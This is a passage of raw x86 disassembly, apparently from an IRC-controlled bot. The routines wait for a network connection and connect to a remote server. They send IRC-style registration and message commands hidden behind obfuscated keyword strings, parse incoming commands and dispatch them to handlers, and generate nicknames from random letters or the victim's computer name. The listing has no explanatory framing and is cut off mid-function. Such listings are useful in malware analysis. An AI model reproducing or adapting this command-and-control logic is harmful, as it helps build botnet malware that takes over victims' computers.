jmp loc_41C9B6
; ---------------------------------------------------------------------------
loc_41C803: ; CODE XREF: sub_41C7EB+Ej
cmp dword_457030, 0
jnz short loc_41C829
loc_41C80C: ; CODE XREF: sub_41C7EB+3Cj
lea eax, [ebp+var_4]
push 0
push eax
call dword_456E18 ; InternetGetConnectedState
test eax, eax
jnz short loc_41C829
push 4E20h
call dword_43718C ; Sleep
jmp short loc_41C80C
; ---------------------------------------------------------------------------
loc_41C829: ; CODE XREF: sub_41C7EB+1Fj
; sub_41C7EB+2Fj
xor edi, edi
push 6
inc edi
push edi
push 2
call dword_456FB0 ; socket
cmp eax, 0FFFFFFFFh
mov [esi], eax
jz short loc_41C88C
push [ebp+arg_0]
call dword_456FB4 ; gethostbyname
test eax, eax
jz short loc_41C884
mov eax, [eax+0Ch]
push 4
push dword ptr [eax]
lea eax, [ebp+var_28]
push eax
call sub_429350
add esp, 0Ch
mov [ebp+var_2C], 2
push [ebp+arg_4]
call dword_456F18 ; ntohs
mov [ebp+var_2A], ax
lea eax, [ebp+var_2C]
push 10h
push eax
push dword ptr [esi]
call dword_456E9C ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_41C893
loc_41C884: ; CODE XREF: sub_41C7EB+5Ej
push dword ptr [esi]
call dword_456FD0 ; closesocket
loc_41C88C: ; CODE XREF: sub_41C7EB+51j
mov eax, edi
jmp loc_41C9B6
; ---------------------------------------------------------------------------
loc_41C893: ; CODE XREF: sub_41C7EB+97j
push ebx
mov ebx, dword_437184
call ebx ; dword_437184
mov ecx, esi
mov dword_45848C, eax
call sub_41C5FE
lea eax, [ebp+var_14]
push eax
call dword_4370C0 ; QueryPerformanceCounter
lea eax, [ebp+var_C]
push eax
call dword_4370BC ; QueryPerformanceFrequency
xor eax, eax
cmp [ebp+var_10], eax
jl short loc_41C903
jg short loc_41C8CA
cmp [ebp+var_14], eax
jbe short loc_41C903
loc_41C8CA: ; CODE XREF: sub_41C7EB+D8j
cmp [ebp+var_8], eax
jl short loc_41C903
jg short loc_41C8D6
cmp [ebp+var_C], eax
jbe short loc_41C903
loc_41C8D6: ; CODE XREF: sub_41C7EB+E4j
push [ebp+var_8]
push [ebp+var_C]
push [ebp+var_10]
push [ebp+var_14]
call sub_42B220
mov dword ptr [ebp+var_1C], eax
mov dword ptr [ebp+var_1C+4], edx
fild [ebp+var_1C]
push ecx
push ecx ; double
fstp [esp+3Ch+var_3C]
call sub_42A636
pop ecx
pop ecx
call sub_42A910
jmp short loc_41C905
; ---------------------------------------------------------------------------
loc_41C903: ; CODE XREF: sub_41C7EB+D6j
; sub_41C7EB+DDj ...
call ebx ; dword_437184
loc_41C905: ; CODE XREF: sub_41C7EB+116j
mov dword_457F40, eax
call ebx ; dword_437184
push [ebp+arg_8]
mov dword_45848C, eax
mov byte ptr [esi+4], 1
call sub_4292D0
inc eax
push eax
call sub_42B407
mov edi, dword_4370A4
pop ecx
pop ecx
mov [esi+8], eax
push [ebp+arg_8]
push eax
call edi ; dword_4370A4
push [ebp+arg_C]
call sub_4292D0
inc eax
push eax
call sub_42B407
pop ecx
mov [esi+0Ch], eax
pop ecx
push [ebp+arg_10]
push eax
call edi ; dword_4370A4
cmp [ebp+arg_14], 0
mov edi, offset aSS ; "%s %s\r\n"
jz short loc_41C980
push offset byte_454A34
push [ebp+arg_14]
call dword_437174 ; lstrcmpiA
test eax, eax
jz short loc_41C980
push [ebp+arg_14]
push offset a7lybp1gunfm0 ; "7LybP1GuNfm0"
push edi
push dword ptr [esi]
push esi
call sub_41C41E
add esp, 14h
loc_41C980: ; CODE XREF: sub_41C7EB+16Dj
; sub_41C7EB+17Fj
push [ebp+arg_8]
push offset aTugnf_mqsdr0_0 ; "TuGNF.mQSDR0"
push edi
push dword ptr [esi]
push esi
call sub_41C41E
push [ebp+arg_10]
push [ebp+arg_C]
push offset a391myLxl28_ ; "391mY/LxL28."
push offset aSS0S ; "%s %s * 0 :%s\r\n"
push dword ptr [esi]
push esi
call sub_41C41E
add esp, 2Ch
call ebx ; dword_437184
mov dword_45848C, eax
xor eax, eax
pop ebx
loc_41C9B6: ; CODE XREF: sub_41C7EB+13j
; sub_41C7EB+A3j
pop edi
pop esi
leave
retn 18h
sub_41C7EB endp
; =============== S U B R O U T I N E =======================================
sub_41C9BC proc near ; CODE XREF: sub_40A938+B4Ap
; sub_4181F4+67Bp ...
push esi
mov esi, ecx
cmp byte ptr [esi+4], 0
jz short loc_41C9EC
push offset a___ ; "..."
push esi
call sub_41C9EE
pop ecx
and byte ptr [esi+4], 0
and byte ptr [esi+5], 0
pop ecx
push 2
push dword ptr [esi]
call dword_456FC8 ; shutdown
push dword ptr [esi]
call dword_456FD0 ; closesocket
loc_41C9EC: ; CODE XREF: sub_41C9BC+7j
pop esi
retn
sub_41C9BC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C9EE proc near ; CODE XREF: sub_40A938+B38p
; sub_4181F4+66Ap ...
var_2710 = byte ptr -2710h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
mov eax, 2710h
call sub_429A90
push esi
mov esi, [ebp+arg_0]
cmp byte ptr [esi+4], 0
jz short loc_41CA5F
cmp [ebp+arg_4], 0
jz short loc_41CA41
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+var_2710]
push [ebp+arg_4]
push 2710h
push eax
call sub_42B7DA
lea eax, [ebp+var_2710]
push eax
push offset aVozbg0sssom1 ; "vozbG0sSsoM1"
push offset aSS ; "%s %s\r\n"
push dword ptr [esi]
push esi
call sub_41C41E
add esp, 24h
jmp short loc_41CA56
; ---------------------------------------------------------------------------
loc_41CA41: ; CODE XREF: sub_41C9EE+1Bj
push offset aVozbg0sssom1 ; "vozbG0sSsoM1"
push offset aS_6 ; "%s\r\n"
push dword ptr [esi]
push esi
call sub_41C41E
add esp, 10h
loc_41CA56: ; CODE XREF: sub_41C9EE+51j
test eax, eax
jz short loc_41CA5F
xor eax, eax
inc eax
jmp short loc_41CA61
; ---------------------------------------------------------------------------
loc_41CA5F: ; CODE XREF: sub_41C9EE+15j
; sub_41C9EE+6Aj
xor eax, eax
loc_41CA61: ; CODE XREF: sub_41C9EE+6Fj
pop esi
leave
retn
sub_41C9EE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CA64 proc near ; CODE XREF: sub_418EDB+61Dp
var_400 = byte ptr -400h
push ebp
mov ebp, esp
sub esp, 400h
push esi
mov esi, ecx
cmp byte ptr [esi+4], 0
jz short loc_41CAC0
push edi
loc_41CA77: ; CODE XREF: sub_41CA64+55j
push 0
lea eax, [ebp+var_400]
push 3FFh
push eax
push dword ptr [esi]
call dword_456F38 ; recv
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_41CABB
test edi, edi
jz short loc_41CABB
call dword_437184 ; GetTickCount
and [ebp+edi+var_400], 0
mov dword_45848C, eax
lea eax, [ebp+var_400]
mov ecx, esi
push eax
call sub_41CAC6
jmp short loc_41CA77
; ---------------------------------------------------------------------------
loc_41CABB: ; CODE XREF: sub_41CA64+2Ej
; sub_41CA64+32j
and byte ptr [esi+4], 0
pop edi
loc_41CAC0: ; CODE XREF: sub_41CA64+10j
xor eax, eax
pop esi
inc eax
leave
retn
sub_41CA64 endp
; =============== S U B R O U T I N E =======================================
sub_41CAC6 proc near ; CODE XREF: sub_41CA64+50p
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov edi, [esp+10h+arg_0]
mov ebp, ecx
mov ebx, offset asc_4476B0 ; "\r\n"
jmp short loc_41CAE5
; ---------------------------------------------------------------------------
loc_41CAD7: ; CODE XREF: sub_41CAC6+2Cj
and byte ptr [esi], 0
push edi
mov ecx, ebp
call sub_41CAFB
lea edi, [esi+2]
loc_41CAE5: ; CODE XREF: sub_41CAC6+Fj
push ebx
push edi
call sub_42ADD0
mov esi, eax
pop ecx
test esi, esi
pop ecx
jnz short loc_41CAD7
pop edi
pop esi
pop ebp
pop ebx
retn 4
sub_41CAC6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CAFB proc near ; CODE XREF: sub_41CAC6+17p
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
mov eax, [ebp+arg_0]
push ebx
push esi
xor ebx, ebx
cmp byte ptr [eax], 3Ah
push edi
mov [ebp+var_4], ecx
mov [ebp+var_8], ebx
push 20h
jnz loc_41CC74
lea esi, [eax+1]
push esi
call sub_42B0D0
pop ecx
cmp eax, ebx
pop ecx
jz loc_41CCD1
mov [eax], bl
inc eax
push 20h
push eax
mov [ebp+arg_0], eax
call sub_42B0D0
mov edi, eax
pop ecx
cmp edi, ebx
pop ecx
jz short loc_41CB46
mov [edi], bl
inc edi
loc_41CB46: ; CODE XREF: sub_41CAFB+46j
push 21h
push esi
mov [ebp+var_14], esi
call sub_42B0D0
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+var_10], eax
jz short loc_41CB77
mov [eax], bl
inc [ebp+var_10]
push 40h
push [ebp+var_10]
call sub_42B0D0
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+var_C], eax
jz short loc_41CB77
mov [eax], bl
inc [ebp+var_C]
loc_41CB77: ; CODE XREF: sub_41CAFB+5Dj
; sub_41CAFB+75j
mov esi, dword_437174
push offset a5h5br_qpSm1 ; "5H5BR.qp/sm1"
push [ebp+arg_0]
call esi ; dword_437174
test eax, eax
jz loc_41CC6A
push offset aYjmlc1btsf10_0 ; "yJmlc1btsF10"
push [ebp+arg_0]
call esi ; dword_437174
test eax, eax
jnz short loc_41CBCC
loc_41CB9D: ; CODE XREF: sub_41CAFB+DDj
push [ebp+var_C]
mov ecx, [ebp+var_4]
push [ebp+var_10]
push [ebp+var_14]
call sub_41C68F
test eax, eax
jz loc_41CC6A
push [ebp+var_C]
mov ecx, [ebp+var_4]
push [ebp+var_10]
push [ebp+var_14]
call sub_41C598
jmp loc_41CC6A
; ---------------------------------------------------------------------------
loc_41CBCC: ; CODE XREF: sub_41CAFB+A0j
push offset aVozbg0sssom1 ; "vozbG0sSsoM1"
push [ebp+arg_0]
call esi ; dword_437174
test eax, eax
jz short loc_41CB9D
push offset aG7IvGks9l1_0 ; "g7/IV/gks9L1"
push [ebp+arg_0]
call esi ; dword_437174
test eax, eax
jnz short loc_41CC00
push 20h
push edi
mov [ebp+var_8], edi
call sub_42B0D0
mov edi, eax
pop ecx
cmp edi, ebx
pop ecx
jz short loc_41CBFD
loc_41CBFB: ; CODE XREF: sub_41CAFB+12Aj
mov [edi], bl
loc_41CBFD: ; CODE XREF: sub_41CAFB+FEj
inc edi
jmp short loc_41CC6A
; ---------------------------------------------------------------------------
loc_41CC00: ; CODE XREF: sub_41CAFB+EBj
push offset aZyvgp1mxobt0_0 ; "zyVGp1MxObt0"
push [ebp+arg_0]
call esi ; dword_437174
test eax, eax
jnz short loc_41CC27
push 20h
push edi
mov [ebp+var_8], edi
call sub_42B0D0
mov edi, eax
pop ecx
cmp edi, ebx
pop ecx
jz loc_41CCD1
jmp short loc_41CBFB
; ---------------------------------------------------------------------------
loc_41CC27: ; CODE XREF: sub_41CAFB+111j
push offset aTugnf_mqsdr0_0 ; "TuGNF.mQSDR0"
push [ebp+arg_0]
call esi ; dword_437174
test eax, eax
jnz short loc_41CC6A
mov eax, [ebp+var_4]
push dword ptr [eax+8]
push [ebp+var_14]
call esi ; dword_437174
test eax, eax
jnz short loc_41CC6A
mov esi, [ebp+var_4]
push dword ptr [esi+8]
call sub_429006
push edi
call sub_4292D0
inc eax
push eax
call sub_42B407
add esp, 0Ch
mov [esi+8], eax
push edi
push eax
call dword_4370A4 ; lstrcpyA
loc_41CC6A: ; CODE XREF: sub_41CAFB+8Ej
; sub_41CAFB+B5j ...
lea eax, [ebp+var_14]
push eax
push edi
push [ebp+arg_0]
jmp short loc_41CCC9
; ---------------------------------------------------------------------------
loc_41CC74: ; CODE XREF: sub_41CAFB+19j
push eax
mov edi, eax
call sub_42B0D0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_41CCD1
push offset dword_445B30
push edi
mov [eax], bl
lea esi, [eax+1]
call dword_437174 ; lstrcmpiA
test eax, eax
jnz short loc_41CCB7
cmp esi, ebx
jz short loc_41CCD1
mov eax, [ebp+var_4]
inc esi
push esi
push offset dword_445B40
push offset aSS ; "%s %s\r\n"
push dword ptr [eax]
push eax
call sub_41C41E
add esp, 14h
jmp short loc_41CCD1
; ---------------------------------------------------------------------------
loc_41CCB7: ; CODE XREF: sub_41CAFB+19Aj
lea eax, [ebp+var_14]
mov [ebp+var_C], ebx
push eax
push esi
mov [ebp+var_10], ebx
mov [ebp+var_14], ebx
mov [ebp+var_8], ebx
push edi
loc_41CCC9: ; CODE XREF: sub_41CAFB+177j
mov ecx, [ebp+var_4]
call sub_41CCD8
loc_41CCD1: ; CODE XREF: sub_41CAFB+2Cj
; sub_41CAFB+124j ...
pop edi
pop esi
pop ebx
leave
retn 4
sub_41CAFB endp
; =============== S U B R O U T I N E =======================================
sub_41CCD8 proc near ; CODE XREF: sub_41CAFB+1D1p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push edi
mov edi, ecx
mov esi, [edi+20h]
jmp short loc_41CCF4
; ---------------------------------------------------------------------------
loc_41CCE1: ; CODE XREF: sub_41CCD8+1Ej
push [esp+8+arg_0]
push dword ptr [esi]
call dword_437174 ; lstrcmpiA
test eax, eax
jz short loc_41CCFA
mov esi, [esi+8]
loc_41CCF4: ; CODE XREF: sub_41CCD8+7j
test esi, esi
jnz short loc_41CCE1
jmp short loc_41CD09
; ---------------------------------------------------------------------------
loc_41CCFA: ; CODE XREF: sub_41CCD8+17j
push edi
push [esp+0Ch+arg_8]
push [esp+10h+arg_4]
call dword ptr [esi+4]
add esp, 0Ch
loc_41CD09: ; CODE XREF: sub_41CCD8+20j
pop edi
pop esi
retn 0Ch
sub_41CCD8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CD0E proc near ; CODE XREF: ?9:00401976p
; sub_401990:loc_401A6Dp ...
var_2710 = byte ptr -2710h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = byte ptr 14h
push ebp
mov ebp, esp
mov eax, 2710h
call sub_429A90
push esi
mov esi, [ebp+arg_0]
cmp byte ptr [esi+4], 0
jnz short loc_41CD2A
xor eax, eax
inc eax
jmp short loc_41CD81
; ---------------------------------------------------------------------------
loc_41CD2A: ; CODE XREF: sub_41CD0E+15j
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_2710]
push [ebp+arg_8]
push 2710h
push eax
call sub_42B7DA
lea eax, [ebp+var_2710]
push eax
push offset dword_443E90
call sub_41553D
lea eax, [ebp+var_2710]
push eax
push [ebp+arg_4]
push offset aG7IvGks9l1_0 ; "g7/IV/gks9L1"
push offset aSSS_1 ; "%s %s :%s\r\n"
push dword ptr [esi]
push esi
call sub_41C41E
add esp, 30h
mov esi, eax
push 3E8h
call dword_43718C ; Sleep
mov eax, esi
loc_41CD81: ; CODE XREF: sub_41CD0E+1Aj
pop esi
leave
retn
sub_41CD0E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CD84 proc near ; CODE XREF: ?9:00401944p
; sub_401990:loc_401A66p ...
var_26F8 = byte ptr -26F8h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = byte ptr 14h
push ebp
mov ebp, esp
mov eax, 26F8h
call sub_429A90
push esi
mov esi, [ebp+arg_0]
cmp byte ptr [esi+4], 0
jnz short loc_41CDA0
xor eax, eax
inc eax
jmp short loc_41CDF7
; ---------------------------------------------------------------------------
loc_41CDA0: ; CODE XREF: sub_41CD84+15j
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_26F8]
push [ebp+arg_8]
push 26F6h
push eax
call sub_42B7DA
lea eax, [ebp+var_26F8]
push eax
push offset dword_443E90
call sub_41553D
lea eax, [ebp+var_26F8]
push eax
push [ebp+arg_4]
push offset aZyvgp1mxobt0_0 ; "zyVGp1MxObt0"
push offset aSSS_1 ; "%s %s :%s\r\n"
push dword ptr [esi]
push esi
call sub_41C41E
add esp, 30h
mov esi, eax
push 3E8h
call dword_43718C ; Sleep
mov eax, esi
loc_41CDF7: ; CODE XREF: sub_41CD84+1Aj
pop esi
leave
retn
sub_41CD84 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CDFA proc near ; CODE XREF: sub_40A938+5411p
var_26F8 = byte ptr -26F8h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = byte ptr 14h
push ebp
mov ebp, esp
mov eax, 26F8h
call sub_429A90
push esi
mov esi, [ebp+arg_0]
cmp byte ptr [esi+4], 0
jnz short loc_41CE16
xor eax, eax
inc eax
jmp short loc_41CE5C
; ---------------------------------------------------------------------------
loc_41CE16: ; CODE XREF: sub_41CDFA+15j
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_26F8]
push [ebp+arg_8]
push 26F6h
push eax
call sub_42B7DA
lea eax, [ebp+var_26F8]
push eax
push [ebp+arg_4]
push offset aZyvgp1mxobt0_0 ; "zyVGp1MxObt0"
push offset dword_4476C0
push dword ptr [esi]
push esi
call sub_41C41E
add esp, 28h
mov esi, eax
push 3E8h
call dword_43718C ; Sleep
mov eax, esi
loc_41CE5C: ; CODE XREF: sub_41CDFA+1Aj
pop esi
leave
retn
sub_41CDFA endp
; =============== S U B R O U T I N E =======================================
sub_41CE5F proc near ; CODE XREF: sub_40A938+2323p
; sub_40A938+29DDp ...
arg_0 = dword ptr 4
cmp byte ptr [ecx+4], 0
jnz short loc_41CE6A
xor eax, eax
inc eax
jmp short locret_41CE83
; ---------------------------------------------------------------------------
loc_41CE6A: ; CODE XREF: sub_41CE5F+4j
push [esp+arg_0]
push offset aKc4l5_savs3_ ; "KC4L5.sAVS3."
push offset aSS ; "%s %s\r\n"
push dword ptr [ecx]
push ecx
call sub_41C41E
add esp, 14h
locret_41CE83: ; CODE XREF: sub_41CE5F+9j
retn 4
sub_41CE5F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CE86 proc near ; CODE XREF: sub_423BB1+471p
; sub_423BB1+5D4p ...
var_26F8 = byte ptr -26F8h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = byte ptr 18h
push ebp
mov ebp, esp
mov eax, 26F8h
call sub_429A90
push esi
mov esi, [ebp+arg_0]
cmp byte ptr [esi+4], 0
jz short loc_41CED3
lea eax, [ebp+arg_10]
push eax
lea eax, [ebp+var_26F8]
push [ebp+arg_C]
push 26F6h
push eax
call sub_42B7DA
add esp, 10h
cmp [ebp+arg_8], 0
jz short loc_41CED8
lea eax, [ebp+var_26F8]
push eax
push [ebp+arg_8]
call sub_427A85
pop ecx
test eax, eax
pop ecx
jnz short loc_41CED8
loc_41CED3: ; CODE XREF: sub_41CE86+15j
xor eax, eax
inc eax
jmp short loc_41CF17
; ---------------------------------------------------------------------------
loc_41CED8: ; CODE XREF: sub_41CE86+36j
; sub_41CE86+4Bj
lea eax, [ebp+var_26F8]
push eax
push offset dword_443E90
call sub_41553D
lea eax, [ebp+var_26F8]
push eax
push [ebp+arg_4]
push offset aZyvgp1mxobt0_0 ; "zyVGp1MxObt0"
push offset aSSS_1 ; "%s %s :%s\r\n"
push dword ptr [esi]
push esi
call sub_41C41E
add esp, 20h
mov esi, eax
push 3E8h
call dword_43718C ; Sleep
mov eax, esi
loc_41CF17: ; CODE XREF: sub_41CE86+50j
pop esi
leave
retn
sub_41CE86 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CF1A proc near ; CODE XREF: sub_423BB1:loc_424029p
; sub_423BB1:loc_42418Cp ...
var_26F8 = byte ptr -26F8h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = byte ptr 18h
push ebp
mov ebp, esp
mov eax, 26F8h
call sub_429A90
push esi
mov esi, [ebp+arg_0]
cmp byte ptr [esi+4], 0
jz short loc_41CF67
lea eax, [ebp+arg_10]
push eax
lea eax, [ebp+var_26F8]
push [ebp+arg_C]
push 26F6h
push eax
call sub_42B7DA
add esp, 10h
cmp [ebp+arg_8], 0
jz short loc_41CF6C
lea eax, [ebp+var_26F8]
push eax
push [ebp+arg_8]
call sub_427A85
pop ecx
test eax, eax
pop ecx
jnz short loc_41CF6C
loc_41CF67: ; CODE XREF: sub_41CF1A+15j
xor eax, eax
inc eax
jmp short loc_41CFAB
; ---------------------------------------------------------------------------
loc_41CF6C: ; CODE XREF: sub_41CF1A+36j
; sub_41CF1A+4Bj
lea eax, [ebp+var_26F8]
push eax
push offset dword_443E90
call sub_41553D
lea eax, [ebp+var_26F8]
push eax
push [ebp+arg_4]
push offset aG7IvGks9l1_0 ; "g7/IV/gks9L1"
push offset aSSS_1 ; "%s %s :%s\r\n"
push dword ptr [esi]
push esi
call sub_41C41E
add esp, 20h
mov esi, eax
push 3E8h
call dword_43718C ; Sleep
mov eax, esi
loc_41CFAB: ; CODE XREF: sub_41CF1A+50j
pop esi
leave
retn
sub_41CF1A endp
; =============== S U B R O U T I N E =======================================
sub_41CFAE proc near ; CODE XREF: sub_4209F2+62p
arg_0 = dword ptr 4
cmp byte ptr [ecx+4], 0
jnz short loc_41CFB9
xor eax, eax
inc eax
jmp short locret_41CFD2
; ---------------------------------------------------------------------------
loc_41CFB9: ; CODE XREF: sub_41CFAE+4j
push [esp+arg_0]
push offset a5h5br_qpSm1 ; "5H5BR.qp/sm1"
push offset aSS ; "%s %s\r\n"
push dword ptr [ecx]
push ecx
call sub_41C41E
add esp, 14h
locret_41CFD2: ; CODE XREF: sub_41CFAE+9j
retn 4
sub_41CFAE endp
; =============== S U B R O U T I N E =======================================
sub_41CFD5 proc near ; CODE XREF: sub_40A938+2352p
; sub_4209F2+58p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp byte ptr [ecx+4], 0
jnz short loc_41CFE0
xor eax, eax
inc eax
jmp short locret_41CFFD
; ---------------------------------------------------------------------------
loc_41CFE0: ; CODE XREF: sub_41CFD5+4j
push [esp+arg_4]
push [esp+4+arg_0]
push offset a5h5br_qpSm1 ; "5H5BR.qp/sm1"
push offset dword_4476D8
push dword ptr [ecx]
push ecx
call sub_41C41E
add esp, 18h
locret_41CFFD: ; CODE XREF: sub_41CFD5+9j
retn 8
sub_41CFD5 endp
; =============== S U B R O U T I N E =======================================
sub_41D000 proc near ; CODE XREF: sub_40A938+2374p
arg_0 = dword ptr 4
cmp byte ptr [ecx+4], 0
jnz short loc_41D00B
xor eax, eax
inc eax
jmp short locret_41D024
; ---------------------------------------------------------------------------
loc_41D00B: ; CODE XREF: sub_41D000+4j
push [esp+arg_0]
push offset aYjmlc1btsf10_0 ; "yJmlc1btsF10"
push offset aSS ; "%s %s\r\n"
push dword ptr [ecx]
push ecx
call sub_41C41E
add esp, 14h
locret_41D024: ; CODE XREF: sub_41D000+9j
retn 4
sub_41D000 endp
; =============== S U B R O U T I N E =======================================
sub_41D027 proc near ; CODE XREF: sub_40A938+2401p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
cmp byte ptr [eax+4], 0
jnz short loc_41D035
xor eax, eax
inc eax
retn
; ---------------------------------------------------------------------------
loc_41D035: ; CODE XREF: sub_41D027+8j
push [esp+arg_4]
push offset aS_6 ; "%s\r\n"
push dword ptr [eax]
push eax
call sub_41C41E
add esp, 10h
retn
sub_41D027 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D04A proc near ; CODE XREF: sub_41D09D+14p
; sub_420C63+41p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp byte ptr [ecx+4], 0
jnz short loc_41D058
xor eax, eax
inc eax
jmp short loc_41D099
; ---------------------------------------------------------------------------
loc_41D058: ; CODE XREF: sub_41D04A+7j
cmp [ebp+arg_8], 0
jnz short loc_41D07B
push [ebp+arg_4]
push [ebp+arg_0]
push offset aLcxMHdpwr1 ; "lCX/m/HdpWr1"
push offset dword_4476D8
push dword ptr [ecx]
push ecx
call sub_41C41E
add esp, 18h
jmp short loc_41D099
; ---------------------------------------------------------------------------
loc_41D07B: ; CODE XREF: sub_41D04A+12j
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
push offset aLcxMHdpwr1 ; "lCX/m/HdpWr1"
push offset dword_4476E4
push dword ptr [ecx]
push ecx
call sub_41C41E
add esp, 1Ch
loc_41D099: ; CODE XREF: sub_41D04A+Cj
; sub_41D04A+2Fj
pop ebp
retn 0Ch
sub_41D04A endp
; =============== S U B R O U T I N E =======================================
sub_41D09D proc near ; CODE XREF: sub_420BF0+57p
arg_0 = dword ptr 4
cmp byte ptr [ecx+4], 0
jnz short loc_41D0A8
xor eax, eax
inc eax
jmp short locret_41D0B8
; ---------------------------------------------------------------------------
loc_41D0A8: ; CODE XREF: sub_41D09D+4j
push 0
push [esp+4+arg_0]
push dword ptr [ecx+8]
call sub_41D04A
xor eax, eax
locret_41D0B8: ; CODE XREF: sub_41D09D+9j
retn 4
sub_41D09D endp
; =============== S U B R O U T I N E =======================================
sub_41D0BB proc near ; CODE XREF: sub_418EDB+5E9p
; sub_418EDB+5F5p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov [ecx+24h], eax
mov eax, [esp+arg_0]
test eax, eax
jnz short loc_41D0D1
call sub_41D252
jmp short loc_41D12F
; ---------------------------------------------------------------------------
loc_41D0D1: ; CODE XREF: sub_41D0BB+Dj
cmp eax, 1
jnz short loc_41D0DD
call sub_41D3AF
jmp short loc_41D12F
; ---------------------------------------------------------------------------
loc_41D0DD: ; CODE XREF: sub_41D0BB+19j
cmp eax, 3
jnz short loc_41D0E9
call sub_41D1E5
jmp short loc_41D12F
; ---------------------------------------------------------------------------
loc_41D0E9: ; CODE XREF: sub_41D0BB+25j
cmp eax, 4
jnz short loc_41D0F5
call sub_41D17C
jmp short loc_41D12F
; ---------------------------------------------------------------------------
loc_41D0F5: ; CODE XREF: sub_41D0BB+31j
cmp eax, 2
jz short loc_41D12A
cmp eax, 5
jnz short loc_41D106
call sub_41D529
jmp short loc_41D12F
; ---------------------------------------------------------------------------
loc_41D106: ; CODE XREF: sub_41D0BB+42j
cmp eax, 6
jnz short loc_41D112
call sub_41D5E0
jmp short loc_41D12F
; ---------------------------------------------------------------------------
loc_41D112: ; CODE XREF: sub_41D0BB+4Ej
cmp eax, 7
jnz short loc_41D11E
call sub_41D70C
jmp short loc_41D12F
; ---------------------------------------------------------------------------
loc_41D11E: ; CODE XREF: sub_41D0BB+5Aj
cmp eax, 8
jnz short loc_41D12A
call sub_41D851
jmp short loc_41D12F
; ---------------------------------------------------------------------------
loc_41D12A: ; CODE XREF: sub_41D0BB+3Dj
; sub_41D0BB+66j
call sub_41D137
loc_41D12F: ; CODE XREF: sub_41D0BB+14j
; sub_41D0BB+20j ...
mov dword_458428, eax
retn 8
sub_41D0BB endp
; =============== S U B R O U T I N E =======================================
sub_41D137 proc near ; CODE XREF: sub_41D0BB:loc_41D12Ap
push ebx
push esi
push edi
push 10h
mov ebx, offset byte_45844C
push 0
push ebx
mov edi, ecx
call sub_429690
xor esi, esi
add esp, 0Ch
cmp [edi+24h], esi
jl short loc_41D16F
loc_41D155: ; CODE XREF: sub_41D137+36j
call sub_429ACC
push 1Ah
cdq
pop ecx
idiv ecx
add dl, 61h
mov byte_45844C[esi], dl
inc esi
cmp esi, [edi+24h]
jle short loc_41D155
loc_41D16F: ; CODE XREF: sub_41D137+1Cj
and byte_45844C[esi], 0
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_41D137 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D17C proc near ; CODE XREF: sub_41D0BB+33p
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor ebx, ebx
push 10h
mov esi, offset byte_45842C
push ebx
push esi
call sub_429690
add esp, 0Ch
lea eax, [ebp+var_4]
mov [ebp+var_4], 10h
push eax
push esi
call dword_456F70 ; GetComputerNameA
movsx eax, byte_45842C
push 41h
pop ecx
loc_41D1B1: ; CODE XREF: sub_41D17C+40j
cmp eax, ecx
jnz short loc_41D1B8
xor ebx, ebx
inc ebx
loc_41D1B8: ; CODE XREF: sub_41D17C+37j
inc ecx
cmp ecx, 5Bh
jl short loc_41D1B1
push 61h
pop ecx
loc_41D1C1: ; CODE XREF: sub_41D17C+50j
cmp eax, ecx
jnz short loc_41D1C8
xor ebx, ebx
inc ebx
loc_41D1C8: ; CODE XREF: sub_41D17C+47j
inc ecx
cmp ecx, 7Bh
jl short loc_41D1C1
test ebx, ebx
jnz short loc_41D1DF
push offset aYdidb16dnmq_ ; "YdidB16dnMQ."
push esi
call sub_429A33
pop ecx
pop ecx
loc_41D1DF: ; CODE XREF: sub_41D17C+54j
mov eax, esi
pop esi
pop ebx
leave
retn
sub_41D17C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D1E5 proc near ; CODE XREF: sub_41D0BB+27p
var_10 = byte ptr -10h
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
push edi
